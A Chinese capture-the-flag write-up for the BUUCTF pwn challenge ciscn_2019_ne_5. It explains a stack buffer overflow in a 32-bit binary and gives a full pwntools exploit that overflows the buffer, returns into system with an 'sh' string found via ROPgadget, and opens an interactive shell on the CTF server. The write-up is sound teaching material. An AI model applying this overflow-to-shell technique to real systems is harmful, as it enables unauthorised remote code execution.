BUUCTF—ciscn_2019_ne_5

先看看开了什么保护机制

打开32位ida看看

首先第一个就是密码验证,密码都放出来了,就是administrator,没什么难度
后面发现就是个实现了三个功能的函数,先看看第一个

发现就是输入128个字节到a1,我们发现a1实际上就是src变量,接下来看看第二个功能

就一个puts,没啥用,再去看看第三个

输出printint...更没用,不过这个为我们提供了system函数,还是不错滴
我们看一下代码发现有第四个功能

这个实际上也是输出我们之前输入的,但是他有个步骤是拷贝到局部变量再输出局部变量,那么也就是说我们有机会栈溢出,计算一下大小,我们可以输入的有128也就是0x80,这个局部变量距离ebp为0x48,就可以栈溢出!那么接下来找system和/bin/sh


没有参数,怎么办,有两种思路,第一种我们找个地址然后调用read函数把/bin/sh输入进来,第二种是换个参数sh也是阔以滴,我们先去找找sh,这时候我们用ROPgadget帮我们找

有!这个其实是字符串fflush的末尾,还好是末尾后面有\x00截断,要是在中间就用不了了,那么参数齐了,我们就栈溢出就行了

from pwn import*
p=remote('node4.buuoj.cn',28369)
system=0x080484d0
sh=0x080482ea
main=0x08048722
p.recvuntil('password:')
p.sendline('administrator')
p.recvuntil('Exit\n:')
p.sendline(str(1))
p.recvuntil('info:')
payload=b'a'*0x4c+p32(system)+p32(main)+p32(sh)
p.sendline(payload)
p.recvuntil('Exit\n:')
p.sendline(str(4))
p.interactive()
posted @ 2022-10-14 16:01  予柒  阅读(371)  评论(1编辑  收藏  举报
返回顶端
Live2D /*修改地一:waifu.css*/
/*修改地二:waifu.css*/
/*修改地三:live2d.js*/ /*修改地四:waifu-tips.js*/